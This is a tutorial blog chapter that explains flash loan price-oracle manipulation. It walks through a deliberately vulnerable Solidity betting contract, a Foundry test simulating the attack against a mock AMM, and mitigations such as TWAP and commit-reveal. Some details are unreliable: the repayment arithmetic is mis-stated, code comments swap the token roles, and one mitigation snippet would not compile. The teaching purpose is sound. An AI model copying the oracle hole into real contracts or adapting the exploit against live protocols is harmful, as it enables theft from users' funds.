Breaking the Bet: Simulating Flash Loan Attacks in Decentralized Systems
18 min read
December 14, 2024
Table of contents
Introduction: Exploring Flash Loan Exploits in DeFi
In this chapter, we dive into the mechanics of flash loan vulnerabilities and how they can be exploited in decentralized systems. Using the DragonBet smart contract as a case study, we’ll explore how price manipulation through an Automated Market Maker (AMM) can lead to significant imbalances and unfair profits.
Prepare yourself, as this chapter leans heavily into the mathematics behind reward calculations and price manipulation. Don’t worry, though—everything will be broken down step by step to ensure clarity. Let’s unravel the exploit and see how it operates in practice!
What is a Flash Loan Vulnerability in Web3?
In the world of Web3 and decentralized finance (DeFi), a flash loan is a type of uncollateralized loan that allows users to borrow assets almost instantly, as long as the loan is repaid within the same transaction. While this concept has enabled innovative financial mechanisms, it has also opened the door to a unique class of vulnerabilities.
Flash loans are powerful because they provide immense liquidity without requiring upfront collateral. However, their very nature—being instantaneous and uncollateralized—can be exploited by malicious actors. When combined with other vulnerabilities, flash loans allow attackers to manipulate smart contract logic, pricing mechanisms, or liquidity pools, resulting in significant losses for protocols and users.
How Does the Flash Loan Vulnerability Work?
At its core, a flash loan vulnerability arises when a smart contract relies on external data or processes that can be manipulated within the same transaction. Here's how an attack might unfold:
- Obtain a Flash Loan: The attacker borrows a large sum of tokens without collateral using a flash loan.
- Manipulate External Dependencies: Within the same transaction, the attacker manipulates an external data source (like a price oracle or liquidity pool). For example, they might artificially inflate or deflate the price of an asset by altering the reserves in a decentralized exchange.
- Exploit the Manipulation: Using the manipulated data, the attacker interacts with the victim smart contract. The contract, trusting the manipulated input, executes unfavorable trades, grants excessive rewards, or behaves incorrectly.
- Repay the Flash Loan: After exploiting the vulnerability, the attacker repays the loan and keeps the profit—all in one atomic transaction.
To truly grasp how flash loan vulnerabilities work, we’ll delve into a practical example of a vulnerable contract and a test case that illustrates the concept.
Understanding AMMs, Tokens, and Oracles in Web3
Before diving into the details of the vulnerable DragonBet
contract, let’s first unpack the three key concepts that form its foundation: tokens, Automated Market Makers (AMMs), and oracles. These elements might sound technical, but with the help of clear and relatable analogies, they become much easier to understand.
Tokens: The Currency of Betting
In the blockchain world, tokens are like digital chips that represent value or ownership. They’re the currency of decentralized systems, much like poker chips in a casino. In the DragonBet
contract, two types of tokens are used, each serving a distinct purpose:
- TokenA: Imagine this as the money you exchange at the casino’s cashier. It’s the system’s primary currency, often used in the background.
- TokenB: Think of this as the actual poker chips you use at the table. You place bets using these chips in hopes of winning more.
These tokens don’t have fixed values like traditional poker chips. Instead, their exchange rate can change dynamically in response to supply and demand, which is where Automated Market Makers (AMMs) come into play.
Automated Market Makers (AMMs): The Decentralized Marketplace
An Automated Market Maker (AMM), such as Uniswap, is like the casino’s cashier where you exchange money (TokenA) for chips (TokenB), but with a twist: the exchange rate isn’t fixed. Instead, it changes dynamically based on how much money and how many chips the cashier has left.
Imagine you walk up to the booth and find:
- A stack of 1 dollar bills (representing TokenA).
- A pile of poker chips (representing TokenB).
If you take chips from the pile or add money to the stack, the exchange rate adjusts automatically to reflect the new balance. The fewer chips left in the pile, the more expensive they become, and vice versa. This behavior is governed by a simple rule:
Where:
- is the number of 1 dollar bills (TokenA).
- is the number of poker chips (TokenB).
- is a constant that keeps the system balanced.
For example, if you trade in money for chips, the pile of money grows ( increases) and the pile of chips shrinks ( decreases). To maintain balance, the cost of each remaining chip rises.
In the DragonBet
contract, the AMM acts like this cashier, determining the "price" of chips (TokenB) based on the piles' sizes. But here’s the twist: the AMM also serves as the oracle, which introduces potential risks.
Oracles: The Information Attendant
Oracles act as a bridge between blockchain systems and external information. In this analogy, the oracle is like a casino attendant who tells you how much a prize costs in chips. If the attendant gives you incorrect or manipulated information, you might overpay or underpay for a prize.
In the DragonBet
contract, the AMM acts as both the cashier and the oracle. It determines how much TokenB
(chips) you need to claim a reward, based on its reserves. This dependency means that if someone manipulates the AMM, they can also manipulate the oracle’s price, creating a potential vulnerability.
By understanding these three concepts—tokens, AMMs, and oracles—you can see how they interact in the DragonBet
contract. Tokens facilitate the bets, the AMM sets the prices, and the oracle blindly trusts the AMM’s data.
Vulnerable Smart Contract: DragonBet
To understand how flash loan vulnerabilities intersect with concepts like AMMs, tokens, and oracles, we will analyze the DragonBet smart contract. This contract enables users to place bets on dragons, determining rewards based on the total bets and the exchange rates fetched from an external oracle. By relying on price data sourced from an AMM (explained in the previous section), the contract illustrates how manipulation of these inputs can expose critical vulnerabilities, making it an ideal case study.
Vulnerable Smart Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Pair {
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract DragonBet {
IERC20 public tokenA; // Token para realizar apuestas
IERC20 public tokenB; // Token usado como referencia para precios
IUniswapV2Pair public priceOracle; // AMM usado como oráculo de precios
struct Bet {
address user;
uint256 amount;
uint256 dragonId; // ID del dragón al que apuesta
}
mapping(uint256 => Bet[]) public bets; // Apuestas por cada dragón
uint256 public totalBets; // Total de tokens apostados en todas las apuestas
constructor(address _tokenA, address _tokenB, address _priceOracle) {
tokenA = IERC20(_tokenA);
tokenB = IERC20(_tokenB);
priceOracle = IUniswapV2Pair(_priceOracle);
}
/// Permitir a los usuarios realizar apuestas por un dragón
function placeBet(uint256 dragonId, uint256 amount) external {
require(amount > 0, "La apuesta debe ser mayor a cero");
require(
tokenB.transferFrom(msg.sender, address(this), amount),
"Transferencia fallida"
);
bets[dragonId].push(
Bet({user: msg.sender, amount: amount, dragonId: dragonId})
);
totalBets += amount;
}
function resolveBet(uint256 winningDragonId) external {
uint256 winningPrice = getPrice(); // Fetch the manipulated price
Bet[] memory winningBets = bets[winningDragonId];
uint256 totalWinningBets = 0;
// Calculate the total bets for the winning dragon
for (uint256 i = 0; i < winningBets.length; i++) {
totalWinningBets += winningBets[i].amount;
}
require(totalWinningBets > 0, "No bets placed on the winning dragon");
// Calculate and distribute rewards
for (uint256 i = 0; i < winningBets.length; i++) {
uint256 reward = (winningBets[i].amount *
totalBets *
winningPrice) /
totalWinningBets /
1e18;
// Limit rewards to the contract balance
uint256 contractBalance = tokenB.balanceOf(address(this));
if (reward > contractBalance) {
reward = contractBalance; // Cap the reward at the available balance
}
// Perform the token transfer
require(
tokenB.transfer(winningBets[i].user, reward),
"Transfer failed"
);
}
// Reset the total bets and clean up
totalBets = 0;
delete bets[winningDragonId];
}
function getPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1, ) = priceOracle.getReserves();
return (uint256(reserve1) * 1e18) / uint256(reserve0);
}
}
Data Structures and State Variables
The DragonBet
contract defines its foundational components at the start, which include the tokens for the betting process, a price oracle, and the data structures that manage user bets.
IERC20 public tokenA; // Token used in the AMM price calculation
IERC20 public tokenB; // Token used for placing bets
IUniswapV2Pair public priceOracle; // AMM used as a price oracle
struct Bet {
address user; // Address of the user placing the bet
uint256 amount; // Amount of TokenB bet
uint256 dragonId; // ID of the dragon being bet on
}
mapping(uint256 => Bet[]) public bets; // A list of bets for each dragon
uint256 public totalBets; // Total TokenB bet across all dragons
The contract uses two tokens, tokenA
and tokenB
, to operate. TokenA
is a reference token whose price is fetched from an external AMM via the priceOracle
. This exchange rate is used later in calculations. TokenB
, on the other hand, is the token that bettors use to place their bets.
The Bet
struct organizes information about each user's wager, including the bettor’s address, the amount bet, and the ID of the dragon they are betting on. These bets are stored in a mapping called bets
, categorized by dragon ID. Additionally, the variable totalBets
tracks the total amount of TokenB wagered across all dragons.
Placing Bets
The placeBet
function allows users to participate in betting by selecting a dragon and specifying the amount they wish to wager.
function placeBet(uint256 dragonId, uint256 amount) external {
require(amount > 0, "La apuesta debe ser mayor a cero");
require(
tokenB.transferFrom(msg.sender, address(this), amount),
"Transferencia fallida"
);
bets[dragonId].push(
Bet({user: msg.sender, amount: amount, dragonId: dragonId})
);
totalBets += amount;
}
A user calls this function to place a bet on a specific dragon. First, it checks that the bet amount is greater than zero. Then, it transfers the specified amount of tokenB
from the user’s wallet to the contract using transferFrom
. If successful, the function creates a new Bet
struct with the user's address, bet amount, and dragon ID. This bet is stored in the appropriate array within the bets
mapping. Finally, the total amount of bets is updated.
Resolving Bets and Distributing Rewards
The resolveBet
function is the heart of the contract’s payout system. Its job is to calculate and distribute rewards to players who bet on the winning dragon, relying on the current price of TokenA
in terms of TokenB
as provided by the priceOracle
. This dependency becomes key to how the attacker exploits the system.
function resolveBet(uint256 winningDragonId) external {
uint256 winningPrice = getPrice(); // Fetch the manipulated price
Bet[] memory winningBets = bets[winningDragonId];
uint256 totalWinningBets = 0;
for (uint256 i = 0; i < winningBets.length; i++) {
totalWinningBets += winningBets[i].amount;
}
require(totalWinningBets > 0, "No bets placed on the winning dragon");
for (uint256 i = 0; i < winningBets.length; i++) {
uint256 reward = (winningBets[i].amount *
totalBets *
winningPrice) /
totalWinningBets /
1e18;
uint256 contractBalance = tokenB.balanceOf(address(this));
if (reward > contractBalance) {
reward = contractBalance;
}
require(
tokenB.transfer(winningBets[i].user, reward),
"Transfer failed"
);
}
totalBets = 0;
delete bets[winningDragonId];
}
First, the function retrieves the current price of TokenA
, calculated dynamically based on the AMM reserves. The formula for the price is simple:
With the price in hand, the function gathers all the bets placed on the winning dragon and sums them up. This total amount, called totalWinningBets
, reflects how much was wagered on the dragon. If no bets were placed, the function stops execution with an error. However, when valid bets exist, the function proceeds to calculate each bettor’s reward.
Rewards are distributed proportionally based on how much each player bet relative to others. The formula for calculating a reward is:
This ensures that bigger bets receive larger rewards.
Before distributing the rewards, the function includes a safeguard: rewards are capped at the contract’s current balance of TokenB
. This prevents the contract from overpaying and ensures it remains solvent. After calculating the reward, the contract transfers the corresponding amount of TokenB
to the bettor. If the transfer fails, the function reverts to maintain system integrity.
Finally, after distributing rewards, the contract resets its state for the next betting round. It clears all bets for the winning dragon and sets the total bets pool (totalBets
) back to zero. This ensures the contract is ready for new wagers without leftover data from previous rounds.
Fetching the Price from the Oracle
The getPrice
function retrieves the current price of tokenA
in terms of tokenB
from the AMM.
function getPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1, ) = priceOracle.getReserves();
return (uint256(reserve1) * 1e18) / uint256(reserve0);
}
This function calculates the price using the formula:
Simulating the Attack: Exploiting the Flash Loan Vulnerability
Now that we’ve explored the vulnerable DragonBet
contract, let’s dive into how this vulnerability can be exploited through a step-by-step test case. Using Foundry, as we’ve done in previous chapters, we’ll simulate a flash loan attack to demonstrate how the contract’s dependency on the AMM can be manipulated to an attacker’s advantage.
Code of the attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/DragonBet.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/// @notice Mock token to simulate tokenA and tokenB
contract MockToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {
_mint(msg.sender, 1_000_000 ether); // Mint a large initial supply to the deployer
}
function mint(address to, uint256 amount) external {
_mint(to, amount); // Allow minting tokens to any address
}
}
/// @notice Mock AMM to simulate the price oracle
contract MockAMM {
uint256 public reserveA;
uint256 public reserveB;
function setReserves(uint256 _reserveA, uint256 _reserveB) external {
reserveA = _reserveA; // Set TokenA reserves
reserveB = _reserveB; // Set TokenB reserves
}
function getReserves() external view returns (uint112, uint112, uint32) {
// Return the reserves and a mock timestamp
return (uint112(reserveA), uint112(reserveB), uint32(block.timestamp));
}
}
contract DragonBetTest is Test {
DragonBet public dragonBet;
MockToken public tokenA;
MockToken public tokenB;
MockAMM public amm;
address attacker = address(0x123);
address bettor1 = address(0x456);
address bettor2 = address(0x789);
function setUp() public {
// Deploy tokens
tokenA = new MockToken("TokenA", "TKA"); // Token used in the AMM
tokenB = new MockToken("TokenB", "TKB"); // Token used for betting
// Deploy mock AMM
amm = new MockAMM();
// Deploy DragonBet contract
dragonBet = new DragonBet(
address(tokenA),
address(tokenB),
address(amm)
);
// Mint and distribute tokens for participants
tokenB.mint(attacker, 100 ether); // Attacker starts with 100 TokenB
tokenB.mint(bettor1, 100 ether); // Bettor 1 starts with 100 TokenB
tokenB.mint(bettor2, 100 ether); // Bettor 2 starts with 100 TokenB
// Pre-fund the contract with enough TokenB for rewards
tokenB.mint(address(dragonBet), 10_000 ether); // Contract holds sufficient TokenB
// Mint TokenA to the AMM for initial reserves
tokenA.mint(address(amm), 3_000 ether); // Initial TokenA reserves in AMM
tokenB.mint(address(amm), 3_000 ether); // Initial TokenB reserves in AMM
// Approve DragonBet contract to spend TokenB for bets
vm.startPrank(attacker);
tokenB.approve(address(dragonBet), type(uint256).max); // Attacker approves the contract
vm.stopPrank();
vm.startPrank(bettor1);
tokenB.approve(address(dragonBet), type(uint256).max); // Bettor 1 approves the contract
vm.stopPrank();
vm.startPrank(bettor2);
tokenB.approve(address(dragonBet), type(uint256).max); // Bettor 2 approves the contract
vm.stopPrank();
// Set initial AMM reserves for the price oracle
amm.setReserves(3_000 ether, 3_000 ether); // Initial price: 1 TokenB = 1 TokenA
}
function toEth(uint256 value) internal pure returns (string memory) {
uint256 ethValue = value / 1e18; // Get the integer part of the value
uint256 fractional = (value % 1e18) / 1e15; // Get the first three decimal places
return
string(
abi.encodePacked(
uint2str(ethValue),
".",
uint2str(fractional),
" ETH"
)
);
}
function uint2str(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function testFlashLoanAttack() public {
// Step 1: Legitimate initial bets
vm.startPrank(bettor1);
dragonBet.placeBet(1, 5 ether); // Bettor 1 bets on dragon 1
vm.stopPrank();
vm.startPrank(bettor2);
dragonBet.placeBet(1, 1 ether); // Bettor 2 bets on dragon 1
vm.stopPrank();
// Step 2: Simulate a flash loan
vm.startPrank(attacker);
console.log("=== Before Flash Loan ===");
console.log("Attacker balance: ", toEth(tokenB.balanceOf(attacker)));
// Simulate a flash loan by minting TokenB to the attacker
uint256 flashLoanAmount = 1_000 ether;
tokenB.mint(attacker, flashLoanAmount);
console.log(
"Attacker balance after flash loan: ",
toEth(tokenB.balanceOf(attacker))
);
// Price manipulation: increase TokenB reserves and decrease TokenA reserves
uint256 addedTokenB = 1_000 ether;
uint256 removedTokenA = (amm.reserveA() * addedTokenB) / amm.reserveB();
amm.setReserves(
amm.reserveA() - removedTokenA,
amm.reserveB() + addedTokenB
);
uint256 manipulatedPrice = dragonBet.getPrice();
console.log(
"Manipulated price (winningPrice):",
toEth(manipulatedPrice)
);
// Step 3: Attacker places a bet using the manipulated price
dragonBet.placeBet(2, 1 ether);
console.log("=== After price manipulation and bet ===");
uint256 totalBetsGlobal = dragonBet.totalBets();
console.log("Total bets globally (totalBets):", toEth(totalBetsGlobal));
// Step 4: Resolve the bets
dragonBet.resolveBet(2);
// Step 5: Repay the flash loan
tokenB.transfer(address(this), flashLoanAmount);
console.log(
"Attacker balance after loan repayment: ",
toEth(tokenB.balanceOf(attacker))
);
vm.stopPrank();
// Step 6: Final balance checks
uint256 attackerBalanceAfter = tokenB.balanceOf(attacker);
uint256 bettor1BalanceAfter = tokenB.balanceOf(bettor1);
uint256 bettor2BalanceAfter = tokenB.balanceOf(bettor2);
console.log("=== Final Balances ===");
console.log("Attacker balance after: ", toEth(attackerBalanceAfter));
console.log("Bettor 1 balance after: ", toEth(bettor1BalanceAfter));
console.log("Bettor 2 balance after: ", toEth(bettor2BalanceAfter));
// Validate that the attacker profited
assert(attackerBalanceAfter > 100 ether); // Attacker made a profit
assert(bettor1BalanceAfter < 100 ether); // Bettor 1 lost
assert(bettor2BalanceAfter < 100 ether); // Bettor 2 lost
}
}
The Exploitation Strategy
Let’s break down the strategy we’ll implement in our test case.
- Set the Stage with Normal Bets: First, other players place their bets, creating a pool of funds in the contract. This makes everything seem normal and gives the attacker a baseline to work with.
- Mess with the AMM: The attacker temporarily alters the token reserves in the AMM, which acts as the contract’s price oracle. This shifts the price in their favor, making it look like their bet is worth much more than it actually is.
- Place a Well-Timed Bet: Once the price is manipulated, the attacker places a small bet on the dragon they know will win. With the price skewed, even a tiny bet can lead to a massive payout.
- Cash Out Big: Finally, the attacker resolves the bets, triggering the contract’s reward system. Thanks to the manipulated price, they claim a disproportionately large reward, repay any borrowed tokens (if using a flash loan), and walk away with a hefty profit.
Setup: Initializing the Test Environment
Before running the test, the script sets up the environment with tokens, a mock AMM, and the DragonBet
contract. Tokens are minted and distributed to participants, and the AMM is initialized with equal reserves of TokenA
and TokenB
to create a balanced price.
function setUp() public {
tokenA = new MockToken("TokenA", "TKA");
tokenB = new MockToken("TokenB", "TKB");
amm = new MockAMM();
dragonBet = new DragonBet(
address(tokenA),
address(tokenB),
address(amm)
);
tokenB.mint(attacker, 100 ether);
tokenB.mint(bettor1, 100 ether);
tokenB.mint(bettor2, 100 ether);
tokenB.mint(address(dragonBet), 10_000 ether);
tokenA.mint(address(amm), 3_000 ether);
tokenB.mint(address(amm), 3_000 ether);
vm.startPrank(attacker);
tokenB.approve(address(dragonBet), type(uint256).max);
vm.stopPrank();
vm.startPrank(bettor1);
tokenB.approve(address(dragonBet), type(uint256).max);
vm.stopPrank();
vm.startPrank(bettor2);
tokenB.approve(address(dragonBet), type(uint256).max);
vm.stopPrank();
amm.setReserves(3_000 ether, 3_000 ether); // Initial price: 1 TokenB = 1 TokenA
}
This setup ensures that:
- The AMM has an initial 1:1 price ratio between
TokenA
andTokenB
, based on reserves of 3,000 each. - The
DragonBet
contract is pre-funded with enoughTokenB
to pay out rewards. - All participants approve the contract to handle their tokens for betting.
Legitimate Bets
Two bettors place legitimate bets on dragon 1 to create a baseline for the betting pool. Bettor 1 wagers 5 TokenB
, and Bettor 2 wagers 1 TokenB
.
vm.startPrank(bettor1);
dragonBet.placeBet(1, 5 ether);
vm.stopPrank();
vm.startPrank(bettor2);
dragonBet.placeBet(1, 1 ether);
vm.stopPrank();
The placeBet
function verifies the amount is greater than zero and transfers the specified TokenB
from the bettor to the contract. After these operations, the total bets in the contract amount to 6 TokenB
, entirely placed on dragon 1.
The internal state after this step:
- Total bets:
6 TokenB
. - Bet distribution:
6 TokenB
on dragon 1,0 TokenB
on dragon 2.
Flash Loan
The attacker uses a flash loan to temporarily borrow 1,000 TokenB
. This loan will be repaid later, but in the meantime, it provides liquidity for manipulating the AMM reserves.
uint256 flashLoanAmount = 1_000 ether;
tokenB.mint(attacker, flashLoanAmount);
Here, the mint
function of MockToken
simulates a flash loan by directly increasing the attacker's balance. Flash loans in real systems are typically provided by DeFi protocols like Aave or dYdX, allowing large sums to be borrowed without collateral if repaid in the same transaction.
Attacker's balance after flash loan: 1,100 TokenB
.
Price Manipulation
The attacker alters the AMM reserves, increasing TokenB
and decreasing TokenA
. This skews the price of TokenA
upward.
uint256 addedTokenB = 1_000 ether;
uint256 removedTokenA = (amm.reserveA() * addedTokenB) / amm.reserveB();
amm.setReserves(
amm.reserveA() - removedTokenA,
amm.reserveB() + addedTokenB
);
The attacker deposits 1,000 TokenB
into the AMM and removes an equivalent amount of TokenA
to maintain the constant product formula ($ x*y = k $). This causes the price of TokenA
to double, as its relative scarcity increases.
Updated AMM reserves:
reserveA (TokenA): 2,000
.reserveB (TokenB): 4,000
.
Placing the Manipulated Bet
The attacker places a 1 TokenB
bet on dragon 2, strategically positioning themselves to exploit the manipulated price during reward calculation.
dragonBet.placeBet(2, 1 ether);
This bet adds 1 TokenB
to dragon 2, increasing the total bets in the contract to 7 TokenB
. The attacker is now the sole bettor on dragon 2, ensuring they will receive all rewards if dragon 2 wins.
Internal state after this step:
- Total bets:
7 TokenB
. - Bet distribution:
6 TokenB
on dragon 1,1 TokenB
on dragon 2.
Resolving the Bets
The bets are resolved, and dragon 2 is declared the winner. The attacker’s reward is calculated using the manipulated price.
dragonBet.resolveBet(2);
The reward for the attacker is calculated using the formula in the contract:
Where:
Substituting:
The attacker receives 14 TokenB as their reward, draining this amount from the contract's balance. Had the price not been manipulated, the attacker would have only received 7 TokenB as their reward, proportional to their bet size relative to the total pool and based on the unaltered price of 1 TokenB per TokenA.
Repaying the Flash Loan
After receiving the reward, the attacker repays the flash loan, ensuring no collateral was required for the attack.
tokenB.transfer(address(this), flashLoanAmount);
The loan of 1,000 TokenB
is repaid, leaving the attacker with the remaining tokens as pure profit.
Attacker’s balance after repayment: 113 TokenB
(initial 100 + reward 14 - loan repayment 1,000).
Final Balances
The script checks the final balances to confirm the attacker’s profit and validate the attack's success.
uint256 attackerBalanceAfter = tokenB.balanceOf(attacker);
uint256 bettor1BalanceAfter = tokenB.balanceOf(bettor1);
uint256 bettor2BalanceAfter = tokenB.balanceOf(bettor2);
console.log("Attacker balance after: ", toEth(attackerBalanceAfter));
console.log("Bettor 1 balance after: ", toEth(bettor1BalanceAfter));
console.log("Bettor 2 balance after: ", toEth(bettor2BalanceAfter));
Top 3 Strategies to Mitigate Flash Loan Vulnerabilities
Among the various solutions to prevent flash loan exploits, the following three strategies stand out as the most critical for ensuring robust smart contract security:
Time-Weighted Average Price (TWAP)
Instead of relying on a spot price fetched directly from an AMM, use a Time-Weighted Average Price (TWAP). This approach calculates an average price over a specified time window, significantly reducing the impact of short-term price manipulation.
function getPrice() public view returns (uint256) {
// Use TWAP from the price oracle
return priceOracle.consult(address(tokenA), 1e18);
}
Cap Rewards Based on Logical Limits
Set a maximum reward cap based on logical limits, such as a multiplier of the total bets or a hard-coded maximum payout value. This ensures that even if the price is manipulated, the attacker cannot drain the entire contract balance.
function resolveBet(uint256 winningDragonId) external {
uint256 winningPrice = getPrice();
Bet[] memory winningBets = bets[winningDragonId];
uint256 totalWinningBets = 0;
for (uint256 i = 0; i < winningBets.length; i++) {
totalWinningBets += winningBets[i].amount;
}
require(totalWinningBets > 0, "No bets placed on the winning dragon");
uint256 rewardCap = totalBets * 2; // Limit rewards to 2x the total pool
for (uint256 i = 0; i < winningBets.length; i++) {
uint256 reward = (winningBets[i].amount * totalBets * winningPrice) / totalWinningBets / 1e18;
// Apply the cap
if (reward > rewardCap) {
reward = rewardCap;
}
uint256 contractBalance = tokenB.balanceOf(address(this));
if (reward > contractBalance) {
reward = contractBalance;
}
require(tokenB.transfer(winningBets[i].user, reward), "Transfer failed");
}
totalBets = 0;
delete bets[winningDragonId];
}
Commit-Reveal Mechanism
A commit-reveal mechanism for placing bets can prevent attackers from reacting to price manipulations during the same transaction. Bettors first submit a hashed commitment of their bet, which is revealed in a later phase. This adds a layer of unpredictability to the system, reducing the attacker’s ability to time their exploits effectively.
mapping(address => bytes32) public committedBets;
function commitBet(bytes32 hashedBet) external {
committedBets[msg.sender] = hashedBet;
}
function revealBet(uint256 amount, uint256 dragonId, bytes32 salt) external {
require(
keccak256(abi.encodePacked(amount, dragonId, salt)) == committedBets[msg.sender],
"Invalid reveal"
);
delete committedBets[msg.sender]; // Clear the commitment
placeBet(dragonId, amount); // Proceed with the revealed bet
}
Conclusions: Key Takeaways
Flash loan vulnerabilities demonstrate the inherent challenges of balancing transparency and security in decentralized systems. Through the DragonBet case study, we’ve seen how external price manipulation can disrupt the fairness of a protocol. Here are the key takeaways:
- External Dependencies Are Risky: Relying on external data sources, such as AMMs, without validation makes protocols susceptible to manipulation. Strengthening oracles and adding safeguards is crucial.
- Testing Is Essential: Comprehensive testing, including simulating attacks, can reveal weaknesses that might otherwise go unnoticed in production environments.
- Mitigation Strategies Exist: Techniques like time-weighted average prices, commit-reveal schemes, or restricting reward distributions based on timeframes can significantly reduce the impact of exploits.
By understanding these vulnerabilities and implementing robust mitigation strategies, developers can create DeFi systems that are not only innovative but also secure and resilient.
References
- Foundry - A Blazing Fast, Modular, and Portable Ethereum Development Framework. "Foundry Documentation." Available at: https://book.getfoundry.sh/
- Solidity - Language for Smart Contract Development. "Solidity Documentation." Available at: https://docs.soliditylang.org/
- OpenZeppelin - Secure Smart Contract Libraries. "OpenZeppelin Contracts Documentation." Available at: https://docs.openzeppelin.com/contracts
- Ethereum - Open-Source Blockchain Platform for Smart Contracts. "Ethereum Whitepaper." Available at: https://ethereum.org/en/whitepaper/
- Testing Ethereum Smart Contracts - Best Practices with Foundry. "Foundry Documentation." Available at: https://book.getfoundry.sh/tutorials/testing
- Decentralized Exchanges and AMMs - Key Mechanics and Risks. "Uniswap Documentation." Available at: https://docs.uniswap.org/
- Gas Price Mechanics - Understanding Gas and Transaction Fees in Ethereum. "Ethereum Documentation." Available at: https://ethereum.org/en/developers/docs/gas/
- Price Oracles and Their Role in DeFi. "Chainlink Documentation." Available at: https://docs.chain.link/
- Flash Loan Attacks in DeFi - Case Studies and Mitigations. "CertiK Blog." Available at: https://www.certik.com/
Chapters
Previous chapter
Next chapter